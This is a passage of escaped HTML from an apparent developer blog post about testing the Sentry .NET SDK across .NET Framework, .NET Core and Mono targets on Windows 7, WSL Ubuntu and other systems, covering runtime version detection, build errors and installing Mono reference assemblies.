&lt;br /&gt;
This API does not exist in versions prior to 4.5. My first idea was to &lt;a href=&quot;https://github.com/dotnet/corefx/blob/c46e2e98b77d8c5eb2bc147df13b1505cf9c041e/src/System.Runtime.InteropServices.RuntimeInformation/src/System/Runtime/InteropServices/RuntimeInformation/RuntimeInformation.cs&quot;&gt;copy the CoreFX&amp;nbsp;implementation&lt;/a&gt;&amp;nbsp;but once I saw the &lt;i&gt;#ifdef&#39;s &lt;/i&gt;I realized it&#39;s not possible as I&#39;m not generating assemblies just to have &lt;i&gt;.NET Native &lt;/i&gt;or &lt;i&gt;.NET Framework &lt;/i&gt;etc. This was just one example, there are many more APIs I&#39;d like to use that will differ depending on the target framework.&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;
CoreThrower&lt;/h2&gt;
&lt;br /&gt;
To help me test different scenarios, I wrote a&amp;nbsp;&lt;a href=&quot;https://github.com/bruno-garcia/dotnet-sentry-thrower&quot;&gt;script (batch and bash versions) to build and run a simple app &lt;/a&gt;that throws an error with the Sentry .NET SDK restored from some local path. It has the following targets:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;netcoreapp2.0&lt;/li&gt;
&lt;li&gt;net471&lt;/li&gt;
&lt;li&gt;net46&lt;/li&gt;
&lt;li&gt;net452&lt;/li&gt;
&lt;li&gt;net45&lt;/li&gt;
&lt;li&gt;net40&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
Considering that all .NET 4.x are &lt;i&gt;in-place&lt;/i&gt;&amp;nbsp;installations, all I&#39;m doing here is making sure I can build the app and load the NuGet package against those versions. Compiling uses reference assemblies to ensure compatibility. In runtime, it&#39;ll use the v4.0 folder with the CLR 4.0.&lt;/div&gt;
&lt;div&gt;
The .NET Core 2 version runs with CoreCLR on all platforms. The full framework versions will run with Mono on macOS and Linux and on Windows, the desktop (full) .NET Framework&amp;nbsp;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
This tool&amp;nbsp;is useful to me to get a locally built Sentry SDK and run in different environments.&lt;br /&gt;
I ran it on:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;macOS 10.13.3 High Sierra&lt;/li&gt;
&lt;li&gt;Windows 10 Pro Fall Creator&lt;/li&gt;
&lt;li&gt;Ubuntu&amp;nbsp;16.04.3 LTS (Windows Subsystem for Linux)&lt;/li&gt;
&lt;li&gt;Windows 7 32bit&lt;/li&gt;
&lt;li&gt;CentOS 7&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
All of them have .NET Core SDK 2.1.104.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
While dealing with the full framework builds and runs I had a few surprises though:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
Windows 7 x86&lt;/h2&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I verified (&lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/how-to-determine-which-versions-are-installed&quot;&gt;through the Windows registry&lt;/a&gt;) that the Windows 7 machine has version .NET Release number 378389. That means the plain .NET Framework 4.5. Although 4.7.1 is compatible with Windows 7 32 bits, I decided not to update it to verify which versions of the program and the SDK would work properly. I copied the reference assemblies to allow me to build all versions:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Windows 10 (64 bits):&amp;nbsp;&lt;i&gt;C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
To the Win7 (32 bits):&amp;nbsp;&lt;i&gt;C:\Program Files\Reference Assemblies\Microsoft\Framework&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
At this point running &lt;i&gt;run.cmd &lt;/i&gt;successfully compiled all versions and &lt;b&gt;ran &lt;/b&gt;all versions! That was to my surprise since the versions ahead of 4.5 could very well fail. It does make sense though since the application itself is not using any .NET 4.6+ API and Sentry&#39;s SDK is targeting net45 as the latest besides netstandard2.0.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
That also means that the &lt;i&gt;netstandard2.0&lt;/i&gt; version was not restored to any of the net4x versions. Since Considering I&#39;m using the &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/standard/net-standard&quot;&gt;.NET Core&amp;nbsp;2.0 SDK I would expect the targets net46 and net471 to restore the netstandard2.0&lt;/a&gt; version of the Sentry SDK. Another possibility is that I have no idea why it worked ;)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
At &lt;a href=&quot;http://sentry.io/&quot;&gt;sentry.io&lt;/a&gt; I see:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc_BsabKARr4uXvrseHgPpFfC2_FsBlt7wIHF-JzRCqY6KVLzZGTz2wAqSGXaLWF2yKIOjvfnuW-wT8K1QlA0lH0NAteiKv6mF4gToxpn1m_c8a2jiMJgCCHfkRH_T6Gc4cyyzsHyUbmE/s1600/Win7x86.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;166&quot; data-original-width=&quot;497&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc_BsabKARr4uXvrseHgPpFfC2_FsBlt7wIHF-JzRCqY6KVLzZGTz2wAqSGXaLWF2yKIOjvfnuW-wT8K1QlA0lH0NAteiKv6mF4gToxpn1m_c8a2jiMJgCCHfkRH_T6Gc4cyyzsHyUbmE/s1600/Win7x86.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
That surely needs some work: The events sent by the .NET Core version of the app shows the CoreCLR version (4.6.26212.01) followed by the .NET Framework 4.6+ version (4.0.30319.42000) which is not even installed on the machine. The middle entry shows&amp;nbsp;4.0.30319.18063. At least the value looks correct. It represents .NET 4.5 on Windows 7 SP1.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The values presented have two parts where the first is runtime&lt;b&gt; name&lt;/b&gt;&amp;nbsp;and the second is the &lt;b&gt;version &lt;/b&gt;which was coming from the API:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;System.Environment.Version&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Microsoft does have a disclaimer on this API:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;color: #2a2a2a; font-family: &amp;quot;segoe ui&amp;quot; , &amp;quot;lucida grande&amp;quot; , &amp;quot;verdana&amp;quot; , &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: 13px;&quot;&gt;For the .NET Framework 4.5 and later, we do not recommend using the&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;selflink&quot; style=&quot;color: #2a2a2a; font-family: &amp;quot;segoe ui&amp;quot; , &amp;quot;lucida grande&amp;quot; , &amp;quot;verdana&amp;quot; , &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: 13px;&quot;&gt;Version&lt;/span&gt;&lt;span style=&quot;color: #2a2a2a; font-family: &amp;quot;segoe ui&amp;quot; , &amp;quot;lucida grande&amp;quot; , &amp;quot;verdana&amp;quot; , &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: 13px;&quot;&gt;&amp;nbsp;property to detect the version of the runtime; instead, you can determine the version of the common language runtime by querying the registry. For more information, see&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/hh925568(v=vs.110).aspx&quot; style=&quot;color: #00709f; font-family: &amp;quot;Segoe UI&amp;quot;, &amp;quot;Lucida Grande&amp;quot;, Verdana, Arial, Helvetica, sans-serif; font-size: 13px; text-decoration-line: none;&quot;&gt;How to: Determine Which .NET Framework Versions Are Installed&lt;/a&gt;&lt;span style=&quot;color: #2a2a2a; font-family: &amp;quot;segoe ui&amp;quot; , &amp;quot;lucida grande&amp;quot; , &amp;quot;verdana&amp;quot; , &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: 13px;&quot;&gt;.&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #2a2a2a; font-family: &amp;quot;segoe ui&amp;quot; , &amp;quot;lucida grande&amp;quot; , &amp;quot;verdana&amp;quot; , &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: 13px;&quot;&gt;&lt;i&gt;From&amp;nbsp;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/system.environment.version%28v=vs.110%29.aspx?f=255&amp;amp;MSPPError=-2147217396&quot;&gt;MSDN&lt;/a&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The version &lt;b&gt;name &lt;/b&gt;and &lt;b&gt;number &lt;/b&gt;get combined and depending on the version of the framework the code compiled against it shows the latest .NET Framework installed or simply the CLR version.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Needs work but for now lets see what shows up on the other systems:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
Ubuntu 16.04 (WSL)&lt;/h2&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The WSL installation of Ubuntu I have, included OOTB Mono version 4.6.2:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;$ mono --version&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Mono JIT compiler version 4.6.2 (Debian 4.6.2.7+dfsg-1)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Copyright (C) 2002-2014 Novell, Inc, Xamarin Inc and Contributors. www.mono-project.com&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TLS:     &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__thread&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SIGSEGV: &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;altstack&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Notifications: epoll&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Architecture: &amp;nbsp;amd64&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Disabled: &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;none&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;
&lt;/span&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Misc:    &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;softdebug&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c99c-d6f8-71b1-1eeba374ad7e&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LLVM:    &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;supported, not enabled.&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GC:      &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sgen&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;This version does &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/standard/net-standard&quot;&gt;not implement netstandard2.0&lt;/a&gt;. That was only introduced in version 5.4 back in November 2017. I took the same approach I had with the Win7 box: Try to build and run with an older version.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;...
/usr/share/dotnet/sdk/2.1.101/Microsoft.Common.CurrentVersion.targets(2052,5): warning MSB3245: Could not resolve this reference. Could not locate the assembly &quot;System.Net.Http&quot;. Check to make sure the assembly exists on disk. If this reference is required by your code, you may get compilation errors. [/mnt/c/Users/bruno/git/CoreThrower/CoreThrower.csproj]
CSC : error CS0006: Metadata file &#39;/mscorlib.dll&#39; could not be found [/mnt/c/Users/bruno/git/CoreThrower/CoreThrower.csproj]
CSC : error CS0006: Metadata file &#39;/mscorlib.dll&#39; could not be found [/mnt/c/Users/bruno/git/CoreThrower/CoreThrower.csproj]
CSC : error CS0006: Metadata file &#39;/mscorlib.dll&#39; could not be found [/mnt/c/Users/bruno/git/CoreThrower/CoreThrower.csproj]
CSC : error CS0006: Metadata file &#39;/mscorlib.dll&#39; could not be found [/mnt/c/Users/bruno/git/CoreThrower/CoreThrower.csproj]
CSC : error CS0006: Metadata file &#39;/mscorlib.dll&#39; could not be found [/mnt/c/Users/bruno/git/CoreThrower/CoreThrower.csproj]
    63 Warning(s)
    5 Error(s)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 14.6667px; white-space: pre-wrap;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; white-space: pre-wrap;&quot;&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; white-space: pre-wrap;&quot;&gt;With the exception of the &lt;/span&gt;&lt;i style=&quot;font-family: Arial; font-size: 11pt; white-space: pre-wrap;&quot;&gt;netcoreapp2.0 &lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; white-space: pre-wrap;&quot;&gt;target, nothing would build. Using &lt;/span&gt;&lt;a href=&quot;https://github.com/dotnet/netcorecli-fsc/wiki/.NET-Core-SDK-1.0.1#using-net-framework-as-targets-framework-the-osxunix-build-fails&quot; style=&quot;font-family: Arial; font-size: 11pt; white-space: pre-wrap;&quot;&gt;FrameworkPathOverride&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;a href=&quot;https://github.com/bruno-garcia/dotnet-sentry-thrower/blob/master/CoreThrower.csproj&quot; style=&quot;font-family: Arial; font-size: 11pt; white-space: pre-wrap;&quot;&gt;I configured the projects&#39; csproj&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; white-space: pre-wrap;&quot;&gt; to look into mono&#39;s path for the &lt;/span&gt;&lt;i style=&quot;font-family: Arial; font-size: 11pt; white-space: pre-wrap;&quot;&gt;reference assemblies&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; white-space: pre-wrap;&quot;&gt; but realized that there was actually nothing there. &lt;/span&gt;&lt;a href=&quot;http://www.mono-project.com/docs/about-mono/releases/4.0.0/#dropped-support-for-old-frameworks&quot; style=&quot;font-family: Arial; font-size: 11pt; white-space: pre-wrap;&quot;&gt;Considering Mono dropped support to pre-net45 reference assemblies on Mono 4&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; white-space: pre-wrap;&quot;&gt; I had to install anyway the package for net40:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14.6667px; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;i&gt;apt-get install mono-reference-assemblies-4.0&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14.6667px; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px; white-space: pre-wrap;&quot;&gt;After that, I was still missing the newer packages. Makes sense since I was on an older version of Mono. This can be solved by taking them directly from GitHub:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;cd /usr/lib/mono&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;sudo git clone &lt;/span&gt;&lt;a href=&quot;https://github.com/mono/reference-assemblies.git&quot; style=&quot;text-decoration-line: none;&quot;&gt;&lt;span style=&quot;color: #1155cc; font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;https://github.com/mono/reference-assemblies.git&lt;/span&gt;&lt;/a&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px; white-space: pre-wrap;&quot;&gt;&lt;i&gt;sudo cp -r reference-assemblies/v* .&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;sudo rm -rf reference-assemblies/&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;The directories &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 14.6667px; white-space: pre-wrap;&quot;&gt;still needs renaming, &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; white-space: pre-wrap;&quot;&gt;to the expected format: remove &lt;b&gt;v &lt;/b&gt;prefix and add &lt;b&gt;-api &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 14.6667px; white-space: pre-wrap;&quot;&gt;suffix&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; white-space: pre-wrap;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
